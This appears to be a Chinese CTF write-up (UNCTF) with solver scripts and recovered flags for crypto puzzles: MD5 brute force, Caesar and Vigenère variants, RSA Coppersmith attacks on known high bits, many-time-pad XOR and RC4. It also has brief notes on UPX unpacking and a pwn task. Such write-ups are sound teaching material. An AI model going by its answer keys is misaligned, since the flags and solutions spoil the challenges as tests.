得到flag.zip,但是里面的看好你.jpg屁用没有,flag.txt是伪加密

没想到最后一步是异或爆破,唉

CRYPTO

MD5-1

简单的md5碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from hashlib import md5
hashlist=[
"4c614360da93c0a041b22e537de151eb",
"8d9c307cb7f3c4a32822a51922d1ceaa",
"0d61f8370cad1d412f80b84d143e1257",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"800618943025315f869e4e1f09471012",
"f95b70fdc3088560732a5ac135644506",
"e1671797c52e15f763380b45e841ec32",
"c9f0f895fb98ab9159f51fd0297e236d",
"a87ff679a2f3e71d9181a67b7542122c",
"8fa14cdd754f91cc6554c9e71929cce7",
"e1671797c52e15f763380b45e841ec32",
"8277e0910d750195b448797616e091ad",
"cfcd208495d565ef66e7dff9f98764da",
"c81e728d9d4c2f636f067f89cc14862c",
"c9f0f895fb98ab9159f51fd0297e236d",
"92eb5ffee6ae2fec3ad71c777531578f",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"cfcd208495d565ef66e7dff9f98764da",
"a87ff679a2f3e71d9181a67b7542122c",
"1679091c5a880faf6fb5e6087eb1b2dc",
"8fa14cdd754f91cc6554c9e71929cce7",
"4a8a08f09d37b73795649038408b5f33",
"cfcd208495d565ef66e7dff9f98764da",
"e1671797c52e15f763380b45e841ec32",
"c9f0f895fb98ab9159f51fd0297e236d",
"8fa14cdd754f91cc6554c9e71929cce7",
"cfcd208495d565ef66e7dff9f98764da",
"c9f0f895fb98ab9159f51fd0297e236d",
"cfcd208495d565ef66e7dff9f98764da",
"e1671797c52e15f763380b45e841ec32",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"1679091c5a880faf6fb5e6087eb1b2dc",
"e1671797c52e15f763380b45e841ec32",
"8f14e45fceea167a5a36dedd4bea2543",
"c81e728d9d4c2f636f067f89cc14862c",
"c4ca4238a0b923820dcc509a6f75849b",
"c9f0f895fb98ab9159f51fd0297e236d",
"a87ff679a2f3e71d9181a67b7542122c",
"cbb184dd8e05c9709e5dcaedaa0495cf"]

dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789}{"
flag =""
for i in hashlist:
print(i)
for x in dic:
if md5(x.encode()).hexdigest() == i:
# print(x)
flag += x

print(flag)

MD5-2

简单的MD5碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from hashlib import md5
md5dic=[
"4c614360da93c0a041b22e537de151eb",
"c1fd731c6d60040369908b4a5f309f41",
"80fdc84bbb5ed9e207a21d5436efdcfd",
"b48d19bb99a7e6bb448f63b75bc92384",
"39eaf918a52fcaa5ed9195e546b021c1",
"795d6869f32db43ff5b414de3c235514",
"f59a054403f933c842e9c3235c136367",
"c80b37816048952a3c0fc9780602a2fa",
"810ecef68e945c3fe7d6accba8b329bd",
"cad06891e0c769c7b02c228c8c2c8865",
"470a96d253a639193530a15487fea36f",
"470a96d253a639193530a15487fea36f",
"4bdea6676e5335f857fa8e47249fa1d8",
"810ecef68e945c3fe7d6accba8b329bd",
"edbb7ab78cde98a07b9b5a2ab284bf0a",
"44b43e07e9af05e3b9b129a287e5a8df",
"a641c08ed66b55c9bd541fe1b22ce5c0",
"abed1f675819a2c0f65c9b7da8cab301",
"738c486923803a1b59ef17329d70bbbd",
"7e209780adf2cd1212e793ae8796ed7c",
"a641c08ed66b55c9bd541fe1b22ce5c0",
"a641c08ed66b55c9bd541fe1b22ce5c0",
"636a84a33e1373324d64463eeb8e7614",
"6ec65b4ab061843b066cc2a2f16820d5",
"a4a39b59eb036a4a8922f7142f874114",
"8c34745bd5b5d42cb3efe381eeb88e4b",
"5b1ba76b1d36847d632203a75c4f74e2",
"d861570e7b9998dbafb38c4f35ba08bc",
"464b7d495dc6019fa4a709da29fc7952",
"8eb69528cd84b73d858be0947f97b7cc",
"dd6ac4c783a9059d11cb0910fc95d4a",
"4b6b0ee5d5f6b24e6898997d765c487c",
"b0762bc356c466d6b2b8f6396f2e041",
"8547287408e2d2d8f3834fc1b90c3be9",
"82947a7d007b9854fa62efb18c9fd91f",
"8ddafe43b36150de851c83d80bd22b0a",
"c7b36c5f23587e285e528527d1263c8b",
"2a0816e8af86e68825c9df0d63a28381",
"63ce72a42cf62e6d0fdc6c96df4687e3",]
realmd5=[]
for i in range(len(md5dic)):
if i == 0:
realmd5.append( md5dic[i])
else:
realmd5.append(hex(int(md5dic[i],16)^int(realmd5[i-1],16))[2:])

dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789}{"
flag =""
for i in realmd5:
print(i)
if len(i) == 31:
i = '0' + i
for x in dic:
if md5(x.encode()).hexdigest() == i:
# print(x)
flag += x
print(flag)

dddd

一眼摩斯

caesar

用BASE64的表进行凯撒加密,直接用最常见的BASE表就行,没有用自己打乱的表是出题人的仁慈

1
2
3
4
5
6
7
8
9
10
11
12
#B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
#UNCTF{w0w_Th1s_d1fFerentc_4eSar}
puzzle = "B6vAydhdAOiZKiMyLYLUaJlL/HY" #暂时去掉表里没有的字符
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
flag = ""
for i in puzzle:
print(i)
local = charset.index(i)
ans = charset[((local+19)%64)]
flag+=ans

print(flag)

ezRSA

发现是一个数的四次方,直接yafu分解,然后正常的RSA解密就行

Single table

playfair密码,可以按照他的提示自己慢慢手撸,也有在线网站

Multi table

动手分析分析,根据前面的字符是 UNCTF 就能确定下来key,然后就是常规的维吉尼亚解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from string import ascii_uppercase

puzzle = "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
table = {}
for i in range(26):
table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]
# print(table)
key = [9,15,23,16]
c = ''
x = 0
for i in range(len(puzzle)):
if puzzle[i] in ascii_uppercase:
c += base_table[table[key[x%4]].index(puzzle[i])]
x += 1
else:
c += puzzle[i]
print(c) #UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

babyRSA

题目是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from secret import flag
import libnum

flag = "UNCTF{*************************}"
m = libnum.s2n(flag)
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
n = p * q
e = 6
c = pow(m, e, n)
M = ((m >> 60) << 60)
print("n=", n)
print("c=", c)
print("((m>>60)<<60)=", M)
'''
25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
'''

RSA的已知m高位攻击,不过这个使用低加密指数也能写

sage在线运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#sage部分:
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
m_high = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
kbits = 60
B = 1
nbits = n.nbits()
PR.<x> = PolynomialRing(Zmod(n))
f = (m_high + x)^e - c
x0 = f.small_roots(X=2^kbits, B=1)[0]
print("m:", m_gao + x0)

#得到m=11941439146252171444944646015445273361862078914338385912062672317789429687879409370002429378909002883709
print(libnum.n2s(11941439146252171444944646015445273361862078914338385912062672317789429687879409370002429378909002883709))
# b'UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}'

easy_RSA

题目是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from gmpy2 import *
from secret import flag
import random
assert flag.startwith(b"flag{")
e=0x10001
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
m=bytes_to_long(flag)
p=getprime(512)
q=getprime(512)
n=p*q
c=pow(m,e,n)
print("n={}".format(n))
print("c={}".format(c))
tmp=random.randint(100,300)
print("p>>tmp={}".format(p>>tmp))


#c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140

#n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553

#p>>200=8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857

RSA的已知P高位攻击coppersmith攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
n = 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p0 = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
e = 0x10001
pbits = 512
kbits = pbits - p0.nbits()
p0 = p0 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p0
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p0+int(roots[0])
print("p: "+str(p))
print("q: "+str(n//p))

得到

1
2
p: 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q: 7763324082495716852870824316200424018139567206154696104953385573761033160220038511251268217230653629388520339723337700045392099450472580225771046069366909

得到p,q之后,就是常规的RSA解密了

ezxor

经典MTP,详情可以看老学长的博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False


def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)


dat = []

def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('Problem.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)

know(9, 19, 'o')
know(1, 24, 'i')
know(1, 25, 't')
know(1, 26, 'h')

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)

今晚吃什么

两次培根就行

Today_is_Thursday_V_me_50

很烂的一道题,加密算法分析半天,发现所需要的key就是题目名称,烂完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
flag=b''
name = "unctf"
key1 = b'Today_is_Thursday_V_me_50'
puzzle = b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P'

key1_num = bytes_to_long(key1)

def decrypt_2(message,num):
random.seed(num)
res_2 = b''
for i in message:
temp_num = random.randint(1,128)
res_2 += long_to_bytes(temp_num ^ i)
return res_2

if __name__ == '__main__':
s1 = decrypt_2(puzzle,key1_num)
print(s1)
s2 = strxor(b'cuftn'*5,key1)
s3 = strxor(s2,s1)
print(s3)

EZcry

流密码,尝试后可以知道是RC4,问题出在得先转成16进制才能使用RC4解密

1
2
3
4
5
6
import libnum

a=28215806134317522883596419220825657511411006710664649462842055320370860932420278362078094716
b=3544952156018063160
print(hex(a)) #0xdd9f58b37289edc2c40133ab9f0439c140aafe7cfd501f8c3d79b1856c9bda598ce34a02a57c
print(hex(b)) #0x3132333435363738

超级加倍

原来就是单纯的开四次方啊😅,是我想多了还是想少了?

1
2
3
4
5
6
7
8
import gmpy2
import libnum

puzzle=364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761
a=gmpy2.iroot(puzzle,4)
print(a) #(mpz(777244835068351678348953354168377613564714552731792102125659619461244461053654492541), True)
print(libnum.n2s(777244835068351678348953354168377613564714552731792102125659619461244461053654492541))
# b'flag{it_is_much_bigger_than_before}'

Alien’s_secret

在这个网站里可以找到对应表格,https://uazu.net/notes/alien.html,直接翻译即可

RE PWN

只做了最简单的几道二进制,脱UPX壳后扔IDA可以直接看代码,简单的逆向一下就好了,pwn则是nc直接连接,输入密码就给shell